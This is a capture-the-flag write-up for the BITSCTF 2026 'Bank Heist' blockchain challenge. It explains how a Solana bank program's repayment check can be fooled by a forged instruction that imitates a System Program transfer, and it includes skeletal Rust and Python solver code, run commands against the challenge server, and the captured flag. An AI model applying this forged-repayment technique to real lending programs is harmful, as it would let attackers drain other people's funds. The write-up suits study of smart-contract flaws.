163 words
1 minutes
BITSCTF 2026 - Bank Heist - Blockchain Writeup

Category: Blockchain
Flag: BITSCTF{8ANk_h3157_1n51D3_A_8L0cK_ChA1n_15_cRa2Y}

Challenge Description#

Given bank-heist.tar.gz. Remote: nc 20.193.149.152 5000. Need to drain bank vault below 1M lamports.

Analysis#

verify_repayment inspects next top-level instruction but only checks:

  • instruction data starts with u32 2
  • transfer amount >= expected_amount
  • accounts[1].pubkey == bank_pda

Missing: doesn’t verify program_id is System Program, source constraints, or actual transfer.

Exploitation#

First instruction: CPI chain: OpenAccountVerifyKYC (proof from SlotHashes) → RequestLoan(999_100_000)

Second instruction: Forged “repayment” with only metadata: accounts [user, bank_pda], data <u32=2><u64=amount>

// Solver program (Rust SBF)
invoke(&open_ix, &[...])?;
// Compute KYC proof from SlotHashes
invoke(&verify_ix, &[...])?;
invoke(&request_ix, &[...])?;
# Driver script
#!/usr/bin/env python3
import socket
import struct

# ... (upload solve.so, send two instructions) ...

# First instruction: real CPI chain
send_line(s, "7")  # 7 accounts
send_line(s, f"sw {user}")
# ... account setup ...
ix1_data = bytes([1]) + struct.pack("<Q", 999_100_000)

# Second instruction: fake repayment
send_line(s, "2")  # 2 accounts
send_line(s, f"r {user}")
send_line(s, f"w {bank_pda_s}")
fake_transfer = struct.pack("<IQ", 2, 999_100_000)

Build and run:

cargo-build-sbf --manifest-path solve/Cargo.toml
python3 solve_remote.py 20.193.149.152 5000

Output:

Bank Vault Balance: 900000
Congratulations! You robbed the bank!
Flag: BITSCTF{8ANk_h3157_1n51D3_A_8L0cK_ChA1n_15_cRa2Y}
BITSCTF 2026 - Bank Heist - Blockchain Writeup
https://blog.rei.my.id/posts/51/bitsctf-2026-bank-heist-blockchain-writeup/
Author
Reidho Satria
Published at
2026-02-22
License
CC BY-NC-SA 4.0